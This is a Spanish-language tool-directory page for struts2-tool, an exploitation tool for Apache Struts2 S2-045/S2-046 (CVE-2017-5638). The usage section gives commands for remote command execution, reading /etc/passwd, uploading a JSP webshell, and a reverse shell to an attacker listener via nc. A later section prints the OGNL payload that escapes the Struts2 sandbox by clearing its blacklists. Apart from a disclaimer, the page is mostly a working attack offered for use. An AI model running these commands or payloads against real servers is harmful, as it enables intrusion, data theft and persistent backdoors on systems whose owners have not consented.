Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
struts2-tool — Struts2 S2-045/S2-046 CVE-2017-5638 herramienta de detección y explotación | Kitploit
Herramientas/GitHubGitHub/gu-007/struts2-tool
Escáneres de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónComando y ControlHerramienta de Acceso RemotoDesarrollo de Payloads
GitHubgu-007/struts2-tool

struts2-tool

Struts2 S2-045/S2-046 CVE-2017-5638 herramienta de detección y explotación

Ver Repositorio
134hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Herramienta de Detección y Explotación de Struts2 (s2tool)

Una herramienta de detección y explotación de vulnerabilidades Struts2 S2-045 / S2-046 (CVE-2017-5638) implementada puramente en Java. El módulo de detección cubre las dos vulnerabilidades S2-045 / S2-046, el módulo de explotación proporciona ejecución de comandos, gestión de archivos, obtención de información, shell interactiva, shell inversa, carga de Webshell, etc.

Aviso legal: Esta herramienta está destinada únicamente a pruebas de seguridad autorizadas, investigación de vulnerabilidades y fines educativos. Está estrictamente prohibido su uso para fines ilegales no autorizados; el usuario asume toda la responsabilidad legal.


Resumen de Funciones

MóduloSubcomandoDescripción
Detección de vulnerabilidadesscanDetecta S2-045 / S2-046 (verificación matemática + marcado de huella UUID)
Escaneo por lotesbatchDetecta múltiples objetivos por lotes, genera resumen e informe JSON
Ejecución de comandosexecEjecución de comandos arbitrarios del sistema + salida (adaptación automática Win/Linux)
Shell interactivashellInteracción continua, persistencia de directorio cd, comandos integrados pwd/webroot/os
Subida de archivosuploadEscritura directa OGNL (archivos pequeños) / escritura por comandos segmentados (archivos grandes)
Descarga de archivosdownloadDescarga codificada en Base64 (segura para binarios)
Directorio raíz webgetpathObtiene la ruta de despliegue físico de la aplicación web
Información del sistemasysinfoInformación de SO / usuario / kernel / directorio de trabajo
Shell inversarevshellShell inversa bash / PowerShell con un solo comando
Subida de WebshellwebshellGenera y sube JSP Webshell (estilo ?CMD= en texto plano)
Exportación de informesscan -rInformes JSON / HTML

La función de descarga puede leer archivos arbitrarios del servidor (como /etc/shadow); úsela únicamente en pruebas autorizadas.


Inicio Rápido

Requisitos del Entorno

  • JDK 8 o superior
  • Maven 3.x (solo necesario para la compilación; no se requiere Maven instalado para ejecutar la herramienta)

Compilación (Windows)

:: Ejecutar en el directorio del proyecto
.\build.bat

En PowerShell se requiere el prefijo .\; en cmd se puede ejecutar directamente build.bat. build.bat solo se encarga de la compilación y no realiza ninguna solicitud de red ni escaneo. Después de la compilación, la ventana permanece abierta y entra en la sesión de cmd (puede ejecutar comandos de la herramienta directamente; escriba exit para cerrar). Si su entorno no puede escribir en el repositorio predeterminado de Maven, primero puede configurar la variable de entorno M2_REPO para que apunte a un directorio con permisos de escritura.

Artefacto: target\s2tool.jar (fat-jar).

Para Linux/Mac consulte build.sh

Ejemplos de Uso

# 1. Detección de vulnerabilidades
java -jar s2tool.jar scan http://target/action

# 2. Detección + exportación de informe JSON/HTML
java -jar s2tool.jar scan http://target/action -r both

# 3. Ejecución de comandos
java -jar s2tool.jar exec http://target/action whoami
java -jar s2tool.jar exec http://target/action "cat /etc/passwd | head -5"

# 4. Shell interactiva
java -jar s2tool.jar shell http://target/action

# 5. Obtener directorio raíz web / información del sistema
java -jar s2tool.jar getpath http://target/action
java -jar s2tool.jar sysinfo http://target/action

# 6. Subir / descargar archivos
java -jar s2tool.jar upload http://target/action shell.jsp /usr/local/tomcat/webapps/ROOT/shell.jsp
java -jar s2tool.jar download http://target/action /etc/passwd ./passwd.txt

# 7. Subir Webshell con un solo comando (estilo ?CMD= en texto plano)
java -jar s2tool.jar webshell http://target/action --name shell.jsp
# Acceso: http://target/shell.jsp?CMD=whoami

# 8. Shell inversa (primero escuche en la máquina atacante: nc -lvnp 4444)
java -jar s2tool.jar revshell http://target/action --lhost 192.168.1.100 --lport 4444

# 9. Escaneo por lotes
java -jar s2tool.jar batch targets.txt -r json

Formato del Archivo de Objetivos por Lotes

# Las líneas de comentario comienzan con # (se ignoran automáticamente)
http://192.168.1.10:8080/login.action
https://vuln.example.com/action

Principios Técnicos

S2-045 / S2-046 (CVE-2017-5638)

Rango de versiones del anuncio oficial (ambas vulnerabilidades se basan en los anuncios oficiales de Apache, para que el usuario evalúe si el objetivo está afectado):

VulnerabilidadCVEVersiones afectadas (versiones vulnerables)Versiones corregidas (versiones parcheadas)
S2-045CVE-2017-5638Struts2 2.3.5 ~ 2.3.31、2.5 ~ 2.5.102.3.32 o 2.5.10.1 y superiores
S2-046CVE-2017-5638Struts2 2.3.5 ~ 2.3.31、2.5 ~ 2.5.102.3.32 o 2.5.10.1 y superiores

Esta herramienta no depende del juicio de versiones; determina directamente si la vulnerabilidad existe mediante los resultados de la detección con Payload, porque la identificación de versiones no es fiable (muchos sitios ocultan el número de versión). La tabla anterior es solo para su referencia en la evaluación manual; no afecta la lógica de detección de la herramienta.

Para S2-046, la herramienta admite tanto la inyección de byte nulo en filename como la ruta de detección de Content-Type con la misma causa raíz.

Principio de la vulnerabilidad:

  • Mismo punto de activación: cuando el analizador Jakarta Multipart encuentra una excepción al analizar, concatena el contenido del encabezado controlable por el usuario (S2-045: Content-Type; S2-046: filename de Content-Disposition) en el mensaje de excepción, y el mensaje de excepción se somete a evaluación OGNL a través del proceso de procesamiento de texto internacionalizado de Struts2 (TextParseUtil.translateVariables)
  • Diferente método de explotación: S2-045 se activa mediante un Content-Type ilegal; S2-046 se activa mediante byte nulo en filename (requiere commons-fileupload 1.3.3+) o Content-Length excesivamente grande (requiere configuración jakarta-stream)

Evasión del Sandbox

(#nike='multipart/form-data')                       // Disfrazar Content-Type, pasar la verificación contains
(#[email protected]@DEFAULT_MEMBER_ACCESS)       // Obtener MemberAccess de máximo privilegio
(#_memberAccess?(#_memberAccess=#dm):               // Versión baja: reemplazo directo
  ((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
   (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
   (#ognlUtil.getExcludedPackageNames().clear())     // Limpiar lista negra de nombres de paquetes
   (#ognlUtil.getExcludedClasses().clear())          // Limpiar lista negra de clases
   (#context.setMemberAccess(#dm))))                 // Versión alta: reemplazo después de limpiar listas negras

Probado: En Struts2 2.3.30, la versión simplificada (solo setMemberAccess) no puede evadir el sandbox; se debe usar la versión completa (que incluye la ruta de limpieza de listas negras de OgnlUtil).

Estrategia de Detección

Descargar herramienta